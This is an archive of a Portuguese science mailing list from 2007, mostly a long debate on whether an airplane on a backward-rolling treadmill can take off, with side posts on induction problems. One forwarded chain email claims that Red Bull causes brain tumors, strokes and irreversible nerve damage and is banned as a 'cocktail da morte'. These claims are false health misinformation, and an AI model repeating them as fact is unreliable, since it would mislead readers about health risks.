> Vamos ligah-la depois.
>
> A esteira estah rolando para tras a 500 m/s. Qual a velocidade do
> aviao - com as helices (ou turbinas) desligadas -?

Com atrito, aceleraria continuamente, indo de 0 a 500 m/s, ao final de um
intervalo de tempo dt >= 0. Sem atrito (nos rolamentos) ficaria parado. Ok?

[]s Ricardo




SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/02/2007 17:54

Olá Takata

Takata: "Vamos, primeiro, continuar nesta linha. A helice estah desligada. A
esteira rola para tras a 10 m/s (em relacao a um ponto fixo no solo).
Qual a velocidade do aviao?"

Depende. E está desmontando o enunciado para criar outro, mais adequado a sua posição. O avião "E" a esteira devem estar parados. E o AVIÃO começa a se mover primeiro, e a esteira DEPOIS, em velocidade identica ao avião, mas para tras.

SE o atrito existir, e SE for suficiente para compensar a inércia (pois a esteira poderia se mover subtamente, com um "tranco", como se tiram as toalhas de mesas sem derrubar os copos, e o avião NÃO se mover para tras), ENTÃO poderia estar a 10m/s, junto a esteira.

Mas mesmo neste caso, as rodas NÃO estariam funcionando como RODAS, mas como apoios, pois sua função como RODAS é justamente DESLIGAR um objeto de outro, e evitar que se movam junto.

Mais uma vez, o enuncinado NÃO pergunta o que acontece com um avião em que as rodas NÂO giram devido ao atrito dos rolamentos, e que está sobre uma esteira que se move LENTAMENTE, para impedir que as rodas façam seu trabalho, e levar o objeto (aqui nem importa mais se é um avião com rodas) junto com ela. E NÃO pergunta o que acontece com um avião que, depois de movido, com cuidado, a 10m/s para tras, tem de ligar as turbinas e decolar a partir desse movimento.

Pois essa NÃO é a questão do problema, Takata. A questão é, uma vez que o avião começa a se deslocar, e a esteira a se mover ao contrário, quanta força essa esteira pode aplicar ao avião, pelas rodas com rolamentos de atrito mínimo ou desprezível, de forma a dificultar ou impedir sua decolagem.

E a resposta é, nenhuma ou desprezível, e o avião decolará normalmente.

Um abraço.

Homero



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 17:58

--- Em ciencialist@yahoogrupos.com.br, "Oraculo" <oraculo@...>
> velocidade final depdende totalmetne do atrito, de forma tão
> absoluta, que é a forma como freios de automóvel funcionam!

Nao depende. Como eu disse, o atrito maior ou menor apenas fara' com q
a aceleracao do aviao - no caso, para tras - seja maior ou menor.

Considere uma caixa sobre a cacamba de um caminhao. O caminhao e a
caixa estao parados em relacao ao solo. De repente, o caminhao comeca
a andar. A caixa tb irah andar, mas em funcao do atrito dela com a
superficie da cacamba. E a caixa irah andar 'a mm velocidade do
caminhao. Se o atrito for menor - mas nao nulo - a caixa poderah ateh
se deslocar para tras em relacao 'a cacamba, porem, um pouco apenas,
depois ela para e comeca a andar no mm ritmo do caminhao, ficando
apenas em uma posicao mais posterior na cacamba do q a posicao original.

Ou pense do seguinte modo. A forca de atrito irah exercer um trabalho
sobre a caixa, conferindo-lhe energia cinetica. Mas o tempo q essa
forca atua eh apenas o suficiente para q a velocidade da caixa se
iguale 'a do caminhao. Depois disso a forca deixa de existir - pois
nao ha' deslocamento relativo entre a caixa e o caminhao.

Se a velocidade final nao for igual - com atrito - estaremos violando
o principio da conservacao de energia.

[]s,

Roberto Takata



SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/02/2007 18:00

Olá Takata

Takata: "Vamos ligah-la depois."

Não pode. Se fizer isso, estará modificando o enunciado e todo o problema. Se o avião é levado para tras, em velocidade por uma esteira ou por um caminhão ou qualquer outra coisa, é evidente que sua decolagem fica prejudicada, não pela esteira ou caminhão, mas pelo próprio movimento para tras.

Mas o avião se move, e então a esteira rola para compensar o movimento do avião (compensar apenas em termos de velocidade, pois ela NÃO pode compensar as forças envolvidas nesse movimento).

Takata: "A esteira estah rolando para tras a 500 m/s. Qual a velocidade do
aviao - com as helices (ou turbinas) desligadas -?"

Já disse antes, se as turbinas estão ligadas, ainda que no mínimo, ele NÃO se move e ainda estará PARADO em relação ao solo debaixo da esteira. Porque a esteira pode aplicar, através dos rolamentos das rodas, apenas 0,2 kg de empuxo e as turbinas mais de 600 kg de empuxo para frente.

Se as turbinas estiverem desligadas, ainda assim ele se moverá menos que a esteira, dependendo de quanto atrito e qual a velocidade de aceleração da mesma. Quanto mais rápida ela acelerar, menor a velocidade do avião, pois a inércia fará as rodas girarem compensando a velocidade da esteira.

Mas, se o avião começar a se mover e a esteira tentar acompanhar, ele vai decolar NORMALMENTE, que é o que o problema quer saber.

Um abraço.

Homero





----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Monday, February 26, 2007 5:42 PM
Subject: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em esteira


--- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@...>
> É que na minha colocação eu estava pensando na turbina ligada.

Vamos ligah-la depois.

A esteira estah rolando para tras a 500 m/s. Qual a velocidade do
aviao - com as helices (ou turbinas) desligadas -?

[]s,

Roberto Takata





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 18:01

--- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@...>
> Ricardo: Homero, essa colocação do Takata foi em relação à pergunta
> que ele fez, onde o motor do avião estaria desligado. Acho que ele já
> concordou com a gente, mas só está querendo ver outros ângulos do
> problema... certo Takata?

Estou querendo ver se outras abordagens para o mm problema chegam 'as
mm conclusoes.

[]s,

Roberto Takata



SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/02/2007 18:09

Olá Takata

Takata: "Nao depende. Como eu disse, o atrito maior ou menor apenas fara' com q
a aceleracao do aviao - no caso, para tras - seja maior ou menor."

Até certo ponto, que é justamente o ponto do problema. Se a força é bem maior que o atrito, se o problema envolve um "eliminador" de atrito, como rodas, isso é irrelevante.

Vamos usar seu exemplo do caminhão e da caixa. Mas, no lugar de fazer o caminhão andar apenas, com a caixa sobre ele, vamos colocar rodas na caixa, e fazer o caminhão acelerar como um avião. O que acha que vai acontecer com a caixa???

Ela, evidentemente, vai ficar NO MESMO LUGAR. Ou seja, nenhuma força será aplicada a ela, ou será desprezível.

O caminhão é a esteira, a caixa o avião, e quando a "caixa" liga suas turbinas, não importa quanto o caminhão/esteira acelera, nem que velocidade ele atinja, a caixa sairá voando sem nenhum problema. Se colocar óleo na caçamba, para diminuir ainda mais o atrito, vai entender melhor.

Vamos fazer seu caminhão ter 500 metros, como uma pista de decolagem, e a caixa/avião está perto da cabine. A caixa liga suas turbinas, e começa a se mover para o final da caçamba. O caminhão começa a se mover em sentido contrário. A caixa/avião vai se mover em relação ao solo NA MESMA MEDIDA que se moveria se o caminhão NÃO saisse do lugar. É o mesmo que aconteceria se a caixa/avião ficasse parada e o caminhão acelerasse, ou seja, ela ficaria na caçamba até o caminhão "sair" de baixo dela.

Este atrito que parece pensar ser capaz de impedir a decolagem do avião não consegue nem segurar uma caixa na caçamba de um caminhão, se esta tiver rodas, Takata, como seguraria um avião no solo?!?!?

Um abraço.

Homero



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 18:15

--- Em ciencialist@yahoogrupos.com.br, "Oraculo" <oraculo@...>
> Takata: "Vamos, primeiro, continuar nesta linha. A helice estah
> desligada. A esteira rola para tras a 10 m/s (em relacao a um ponto
> fixo no solo). Qual a velocidade do aviao?"
>
> Depende. E está desmontando o enunciado para criar outro, mais
> adequado a sua posição.

Calma. Estou analisando com outra abordagem. Chegaremos lah.

> SE o atrito existir, e SE for suficiente para compensar a inércia
> (pois a esteira poderia se mover subtamente, com um "tranco", como
> se tiram as toalhas de mesas sem derrubar os copos, e o avião NÃO se
> mover para tras), ENTÃO poderia estar a 10m/s, junto a esteira.

O atrito existindo, compensa a inercia [na verdade qq massa q seja,
para qq forca nao-nula, resulta em se atingir uma velocidade
arbitraria qq - dado q F=m.(Vf)/t - o q uma forca menor ou maior irah
alterar eh o tempo t q leva para se alcancar a velocidade final Vf.
Considerando-se aqui como sendo 0 a velocidade inicial.]

> Mas mesmo neste caso, as rodas NÃO estariam funcionando como RODAS,
> mas como apoios, pois sua função como RODAS é justamente DESLIGAR um
> objeto de outro, e evitar que se movam junto.

As rodas podem girar. Apenas q o atrito nao eh nulo. Elas rodam em
falso, mas nao a ponto de compensar completamente o movimento da esteira.

[]s,

Roberto Takata



SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 18:23

--- Em ciencialist@yahoogrupos.com.br, "Oraculo" <oraculo@...>
> Takata: "Vamos ligah-la depois."
>
> Não pode.

Calma, Homero. Iremos chegar lah.

> Se as turbinas estiverem desligadas, ainda assim ele se moverá menos
> que a esteira, dependendo de quanto atrito e qual a velocidade de
> aceleração da mesma.

Isso ocorre ao custo de violarmos as leis da fisica como menciono na
mensagem imediatamente anterior respondendo a outra mensagem sua.
Retomo aqui:

F = m.a
a = delta V/delta t
V inicial = 0
V final = Vf
t inicial = 0
t final = t
a = Vf/t
F = m.Vf/t

t = m.Vf/F

Em um tempo t, o aviao irah atingir a mm velocidade da esteira
(havendo atrito - qq q seja ele - e aqui as helices estao desligadas).

A forca F some qdo as velocidades forem iguais - nao houver movimento
relativo entre o aviao e a esteira.

[]s,

Roberto Takata



SUBJECT: O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 18:26

--- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@...>
> Com atrito, aceleraria continuamente, indo de 0 a 500 m/s, ao final de
> um intervalo de tempo dt >= 0. Sem atrito (nos rolamentos) ficaria
> parado. Ok?

Ok. Agora se a esteira passar de 500 m/s para 1.000 m/s? (Ainda com a
helice desligada e com atrito nao nulo.)

[]s,

Roberto Takata



SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 18:29

--- Em ciencialist@yahoogrupos.com.br, "Oraculo" <oraculo@...>
> Takata: "Nao depende. Como eu disse, o atrito maior ou menor apenas
> fara' com q a aceleracao do aviao - no caso, para tras - seja maior
> ou menor."
>
> Até certo ponto, que é justamente o ponto do problema. Se a força é
> bem maior que o atrito, se o problema envolve um "eliminador" de
> atrito, como rodas, isso é irrelevante.

Aqui ainda estou tratando da situacao do aviao com a helice desligada
e atrito nao-nulo.

(Qto 'a roda na caixa. Considere um atrito nao-nulo.)

[]s,

Roberto Takata



SUBJECT: Fw: induçao finita
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 26/02/2007 18:58

Quem se habilita:
| >Estou com dificuldades na resolução de 2 problemas de indução finita.
| >1º)Prove que o produto de quatro números naturais consecutivos acrescidos
| >de 1, é um quadrado perfeito.
| >2°)Sejam A e B dois conjuntos com n e m elementos, respectivamente. Mostre
| >por indução sobre n, que o número de funções de A em B é m elevado a n.
| >

[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================


SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 19:11

Olá Takata

Takata: "Calma. Estou analisando com outra abordagem. Chegaremos lah."

Desculpe, mas não é outra abordagem, é um experimento totalmente
diferente. A pergunta não é essa, e as condições do experimento não
são essas. E, para todos os efeitos, embora o enunciado não determine
claramente, o atrito é desprezível ou zero, para efeitos de estudo.

Pois se o atrito fosse considerado existente, o enunciado deveria
apresentar seu índice nos rolamentos. Se não os apresenta, não devem
existir.

Se o atrito não existe, não existe discussão, e todas as suas
abordagens darão o mesmo resultado, o avião não se move.

Pois, se não há atrito nos rolamentos, o avião e a esteira não estão
de nenhuma forma ligados, e não existe nenhuma, repito, nenhuma forma
de a esteira influenciar o avião.

Neste caso, não importa se o avião está parado, andando para frente,
para tras, se a esteira está imóvel, se se move devagar, se se move
repentinamente, se está a velocidades baixas ou a milhares de
quilometros por hora.

Nada disso importa pois, se o avião está parado, ficará parado,
qualquer que seja o comportamento da esteira. Simplesmente não há NADA
que a esteira possa fazer para afetar o avião. Se este começar a se
mover, e para isso basta ligar a propulsão, a esteira continuará
irrelevante.

Ela, a esteira, pode espernear, correr, parar bruscamente, ter
xiliques, etc, e nada afetará o avião..:-)

Com isso você concorda? Sem atrito, a pergunta tem como resposta, da
forma como proposto, o avião decola sem problemas, concorda?

Se concorda com isso, fechamos a questão sobre o enunciado, pois este
não definiu o indice de atrito dos rolamentos, e pressuponho que sejam
desprezíveis.

Agora, se vai considerar o mundo real (embora um experimento com um
avião sobre uma esteira não seja muito real..:-), então tudo se resume
na questão, quanta força o atrito permite que a esteira aplique ao
avião, e isso se resume a quanto atrito tem os rolamentos das rodas do
avião.

Observe que não importa, para o enunciado, o que acontece com aviões
que se movem para tras, por qualquer motivo (o que inclui esteiras,
claro, mas também caminhões com aviões na caçamba), pois tanto quem
pergunta, quanto nós dois, sabemos que nesse caso a decolagem será
dificultada por essa movimentação, a inércia, etc.

Mas, no caso da esteira, NADA nela, a não ser sua possível ação no
atrito dos rolamentos, interfere nessa decolagem.

A questão é clara, ele deseja saber se a rolagem para "tras" de uma
esteira dificulta a decolagem. E não dificulta. O que dificulta é, se
essa rolagem se der ANTES do movimento do avião, de forma que este
ganhe velocidade para tras, fica mais difícil decolar.

Takata: "O atrito existindo, compensa a inercia [na verdade qq massa q
seja, para qq forca nao-nula, resulta em se atingir uma velocidade
arbitraria qq - dado q F=m.(Vf)/t - o q uma forca menor ou maior irah
alterar eh o tempo t q leva para se alcancar a velocidade final Vf.
Considerando-se aqui como sendo 0 a velocidade inicial.]"

Não é bem assim. Já que estamos falando de "mundo real", neste nós
temos sempre de considerar mensurações chamadas "despreziveis" que,
pela sua insignificância quanto a efeitos reais, são descartadas.

O atrito de rolamentos, neste caso, é um deles. Sua posição é
hipotética, e inclui eventos claramente impossíveis, como um atrito de
rolamentos que leve 100 anos para parar um movimento em determinada
direção.

O atrito compensa a inércia ATÉ CERTO PONTO, sendo, para este
problema, desprezível. O atrito dos rolamentos não permite que uma
esteira aplique força relevante a um avião com turbinas ligadas.

A disparidade de forças é tão grande que podemos chamar de desprezível
o atrito a força que a esteira passa ao avião. E voltamos ao caso
acima, nada que a esteira faça, inclusive rolar para tras na
velocidade do avião, irá interferir ou afetar sua decolagem e
movimentação.

Takata: "As rodas podem girar. Apenas q o atrito nao eh nulo. Elas
rodam em falso, mas nao a ponto de compensar completamente o movimento
da esteira."

Ok, mesmo considerando que "não é suficiente para compensar
completamente", o quanto compensa? Devido a disparidade de forças, a
turbina e o atrito de rolamentos engraxados e eficazes, o que sobra,
deste "não completamente", é desprezível.

O enunciado não diz explicitamente, embora devesse dizer, que o atrito
é desprezivel ou zero, mas mesmo assim podemos considerar dessa forma,
pois a disparidade é de tal monta, que assumir o contrário seria
desconsiderar a função das rodas, e a intenção do enunciado.

Que deseja saber, como fica claro na forma do exposto, se a velocidade
da esteira é alguma forma de compensar a velocidade do avião. Ele não
deseja saber se há atrito suficiente em rolamentos de aviação para
impedir uma decolagem.

Um abraço.

Homero




SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 19:21

Olá Takata

Takata: "Aqui ainda estou tratando da situacao do aviao com a helice
desligada e atrito nao-nulo. "

Não pode fazer isso, Takata. Está violando dois pressupostos do
enunciado e criando um evento e experimento completamente diferente.
Nunca discordamos que, se uma esteria, com algum atito, cuidadosamente
levar um avião a se mover para tras em alta velocidade, este terá
dificuldades de decolar para frente.

Mas o enunciado é totalmente diferente , e pressupõe, como base do
experimento, que o avião se move primeiro, e a esteira apenas a
velocidade IGUAL a do avião, em sentido contrário.

Ao se mover para frente, e ao manter suas turbinas ligadas, ele já
gerou força de empuxo mais que suficiente para vencer o atrito dos
rolamentos das rodas, do pneu com o solo, mesmo se duplicar o atrito,
como bem demonstrou o Ricardo.

A força que a esteira eventualmente possa gerar nos rolamentos, se
movendo a velocidade identica a do avião, mas em sentido contrário,
NÃO consegue ser significante para sua decolagem.

É isso que responde ao enunciado, Takata, não criar novas e diferentes
condições, onde uma esteira pudesse, por motivos diversos, afetar um
avião.

Um avião com hélices desligadas, não é um avião, é um monte de metal
com um belo design. Rodas que não giram, não são rodas, são apoios
para o solo. Tem de usar os dados contidos no enunciado, na forma como
eles se comportam normalmente.

Sem isso, vai responder a questões como "o que acontece com objetos
imóveis e sem propulsão se colocados em uma esteira" e não o que a
questão propõe.

Um abraço.

Homero





SUBJECT: Darwinismo na TV
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/02/2007 20:11

A GloboNews est� anunciando entrevista com um darwinista ferrenho, hoje, �s 11:30.
Deve interessar aos que pouco ou nada entendem da teoria da sele��o natural mas, como eu, gostam do tema.
[]s
JR

[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/02/2007 20:23


From: "rmtakata" <roberto.takata@bol.com.br>
> Ok. Agora se a esteira passar de 500 m/s para 1.000 m/s? (Ainda com a
> helice desligada e com atrito nao nulo.)

Se a esteira ficar o tempo suficiente em uma velocidade v qualquer, o avião
inevitavelmente atingirá esta velocidade, e passará a acompanhar a esteira
após um dt >= 0.

[]s Ricardo




SUBJECT: O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 21:20

--- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@...> escreveu
> Se a esteira ficar o tempo suficiente em uma velocidade v qualquer, o
> avião inevitavelmente atingirá esta velocidade, e passará a acompanhar
> a esteira após um dt >= 0.

Ótimo. E vc concorda q - dadas essas condições de hélice desligada e
atrito não nulo - para qq velocidade V da esteira (seja pra frente,
seja pra trás), em algum tempo t o avião irá acompanhar a esteira?

[]s,

Roberto Takata



SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 21:22

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
> Desculpe, mas não é outra abordagem, é um experimento totalmente
> diferente.

Tenha paciência, caro Homero. (Sei q vc a andou gastando com certas
pessoas, mas o peço q use a q tiver restado.)

> Pois se o atrito fosse considerado existente, o enunciado deveria
> apresentar seu índice nos rolamentos. Se não os apresenta, não devem
> existir.

Nesta abordagem, o valor exato do atrito não precisa ser conhecido,
apenas considerá-lo q não é nulo.

[]s,

Roberto Takata



SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 21:25

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
> Não pode fazer isso, Takata. Está violando dois pressupostos do
> enunciado e criando um evento e experimento completamente diferente.

Tenha paciência, Homero. Chegaremos ao problema.

[]s,

Roberto Takata



SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 21:34

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> Tenha paciência, caro Homero. (Sei q vc a andou gastando com certas
> pessoas, mas o peço q use a q tiver restado.)

E eu andei gastando a gramática q nem tenho: mas lhe peço q a use...

Caso concordem q - com a hélice desligada e com atrito não nulo - o
avião mais cedo ou mais tarde acompanhará a velocidade da esteira,
poderemos seguir para a próxima etapa: Desligaresmo a esteira e
ligaremos o motor do avião - mas sem asas.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/02/2007 21:44

Sim, o avião irá acompanhar a esteira.

Já desliguei a esteira e tirei as asas do meu avião. Mas tive que trocar de
avião, porque no antigo os motores e o tanque ficavam na asa.

[]s Ricardo

----- Original Message -----
From: "rmtakata" <roberto.takata@bol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, February 26, 2007 9:34 PM
Subject: [ciencialist] P/ Takata - O avião decola SEM PROBLEMAS..:-) Re:
avião em esteira


--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> Tenha paciência, caro Homero. (Sei q vc a andou gastando com certas
> pessoas, mas o peço q use a q tiver restado.)

E eu andei gastando a gramática q nem tenho: mas lhe peço q a use...

Caso concordem q - com a hélice desligada e com atrito não nulo - o
avião mais cedo ou mais tarde acompanhará a velocidade da esteira,
poderemos seguir para a próxima etapa: Desligaresmo a esteira e
ligaremos o motor do avião - mas sem asas.

[]s,

Roberto Takata



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SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 21:46

--- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@...>
> Sim, o avião irá acompanhar a esteira.
>
> Já desliguei a esteira e tirei as asas do meu avião. Mas tive que
> trocar de avião, porque no antigo os motores e o tanque ficavam na
> asa.

Oquei. Então, contato! E deixe o bichinho partir. À meia potência.
Agora, o q acontece com a velocidade - sobe eternamente rumo ao
infinito ou atinge um máximo?

[]s,
Roberto Takata



SUBJECT: Red Bull - Você também precisa saber
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/02/2007 21:49

RED BULL: VOC� TAMB�M PRECISA SABER !

POR SE TRATAR DE UM TEMA DE SA�DE P�BLICA, POR FAVOR, REPASSEM ESTE E-MAIL A TODOS OS AMIGOS, PARTICULARMENTE AOS QUE T�M JOVENS NA FAM�LIA.

ESTA BEBIDA EST� � VENDA EM SUPERMERCADOS E NOSSOS JOVENS PODEM CONSUMI-LA SEM MAIORES CUIDADOS. E ISSO PODE SER MORTAL!

RED BULL foi criada para estimular o c�rebro de pessoas submetidas a um grande esfor�o f�sico e em "coma de stress" e n�o para ser consumida habitualmente como uma bebida estimulante inocente e refrescante.

RED BULL � uma BEBIDA ENERGIZANTE, comercializada no mundo com o slogan: "Aumenta a resist�ncia f�sica, a capacidade de concentra��o e a velocidade de rea��o, d� mais energia, agilidade e melhora o estado de �nimo".



Tudo isso pode ser encontrado numa latinha de RED BULL, "a bebida energ�tica do mil�nio!" No Brasil ela � oferecida de forma curiosa com o refr�o: �Red Bull, lhe d� asas!� Sendo que �asas� � pronunciada com uma entona��o maliciosa, dando a dica subliminar de que a bebida tamb�m d� �o maior barato�.

A RED BULL conseguiu chegar a quase 130 pa�ses, com um faturamento anual acima de 21 bilh�es de euros na venda de cerca de 3 bilh�es de latas. A energia estimulante e os esportes foram eleitos pela marca como as principais caracter�sticas coladas � sua imagem. Dois segmentos atrativos para os jovens, cativados pelo est�mulo que a bebida provoca.



Foi criada por Dietrich Mateschitz*, um empres�rio de origem austr�aca, que a descobriu por acaso, durante uma viagem de neg�cios a Hong Kong , quando trabalhava para uma empresa fabricante de escovas de dente.

Uma lata de 250 ml, cont�m 20 gramas de a��car(no r�tulo da lata SUGARFREE est� escrito �n�o cont�m a��car), 1000 mg de taurina, 600 mg de glucuronolactona, 80 mg de cafe�na, 50 mg de inositol e vitaminas do complexo B (B2, B3, B5, B6 e B12).

� uma bebida fabricada na �ustria, importada por: Red Bull do Brasil Ltda.


MAS AS INFORMA��ES SOBRE ESTA BEBIDA, V�O AL�M DISSO


A FRAN�A e a DINAMARCA acabam de proibi-la por ser um cocktail da morte , devido aos seus componentes de vitaminas misturadas com "GLUCURONOLACTONE", produto qu�mico desenvolvido e utilizado pelo Dept�. de Defesa dos USA, durante os anos 60, para estimular o moral das tropas norte-americanas no VIETN�. Seus efeitos eram pr�ximos ao de uma droga alucin�gena, reduzia o stress da guerra. Entretanto, no organismo dos soldados, foram significativos os aumentos dos �ndices de enxaquecas, tumores cerebrais e doen�as do f�gado.

Na lata de RED BULL l�-se, entre os seus componentes, a presen�a de 80 mg de GLUCURONOLACTONE, medicamento catalogado como estimulante.

O que a lata de RED BULL n�o informa s�o as conseq��ncias do seu consumo freq�ente, que exigiria do fabricante colocar uma s�rie de ADVERT�NCIAS, tais como:

1. � perigoso tom�-lo se, em seguida, n�o se fizer exerc�cio f�sico, j� que a sua fun��o energizante acelera o ritmo card�aco e pode provocar um enfarte fulminante.


2. O risco de se sofrer uma hemorragia cerebral, porque o RED BULL cont�m subst�ncias que diluem o sangue, para que seja mais f�cil ao cora��o bombear o sangue e assim se poder fazer esfor�o f�sico com menos esgotamento.

3. � proibido misturar RED BULL com �lcool (esta advert�ncia sucinta consta no r�tulo do produto). A mistura com �lcool transforma a bebida numa �bomba� que ataca diretamente o f�gado e torna a zona afetada incapaz de se regenerar.

4. Um dos componentes principais do RED BULL � a vitamina B12, utilizada em medicina para recuperar pacientes que se encontram em coma alco�lica. Da� o estado de excita��o em que se fica ap�s tom�-lo. � como se tiv�ssemos de sair de um estado de embriaguez cada vez que se bebe uma lada de Red Bull.

5. O consumo regular de Red Bull provoca uma s�rie de doen�as nervosas e neuronais
irrevers�veis.


CONCLUS�O


A venda de RED BULL deveria ser acompanhada dessas advert�ncias em letras vis�veis. Alguns pa�ses acharam melhor proibir a venda pois se desavisadamente ou intencionalmente for misturada com �lcool torna-se uma bomba-rel�gio para o consumidor, principalmente entre os adolescentes ou mesmo adultos que desconhe�am todos os efeitos da bebida.



.........................................



* Dietrich Mateschitz, � um dos mais ricos empres�rios do mundo, segundo a revista "FORTUNE". Sua trajet�ria escolar foi atribulada, concluiu o curso de Administra��o de Empresas em 10 anos, mais do dobro do tempo normal. Est� sempre na companhia de belas mulheres e estrelas do cinema, sua pele eternamente bronzeada, n�o importa a �poca do ano, lhe garantem a fama de "bon vivant". E isso tudo, gra�as ao �nico produto no portf�lio de sua empresa: a bebida RED BULL.

Ele nada vai fazer para alertar os usu�rios, se n�o for obrigado a isso.


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 21:55

Olá Takata

Takata : "Tenha paciência, caro Homero. (Sei q vc a andou gastando com
certas pessoas, mas o peço q use a q tiver restado.)"

Na verdade, Takata, minha admiração pessoal por você jamais permitiria
que eu perdesse a paciência com suas mensagens, mesmo discordando
delas veementemente..:-) Eu sempre aprendo muito com você, e acho que
até neste caso, em que você está enganado, eu acabo aprendendo algo..:-)

Takata: "Nesta abordagem, o valor exato do atrito não precisa ser
conhecido, apenas considerá-lo q não é nulo."

Esse é um dos pontos chave em que discordamos, não vejo como o atrito
e seu valor sejam irrelevantes, ou que basta haver atrito. Um atrito
próximo do zero poderia resultar que a esteira levaria 200 mil anos
para mover o avião a sua própria velocidade (sua da esteira), o que é
pouco razoável como caso concreto (o avião precisa decolar antes disso).

Já concordamos que rolamentos tem atrito, mas o atrito, em relação ao
empuxo de propulsores de avião, é desprezível, e pode ser
desconsiderado. Considerar o atrito, é modificar o enunciado, e
qualquer conclusão a partir desse novo problema é incorreta em relação
ao original.

A única forma de defender sua posição inicial, que o avião NÃO
consegue decolar se a esteira se move a mesma velocidade em direção
contrária, seria se o atrito nos rolamentos permitisse a esteira
aplicar força equivalente ao avião ao se mover. O que, evidentemente,
não acontece.

Em todo caso, vou ter paciência e esperar todo processo de raciocínio
que pretende nos apresentar, mas espero que o resultado final respeite
as premissas do enunciado e não seja um experimento totalmente diferente.

Um abraço.

Homero




SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 22:02

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
> Esse é um dos pontos chave em que discordamos, não vejo como o
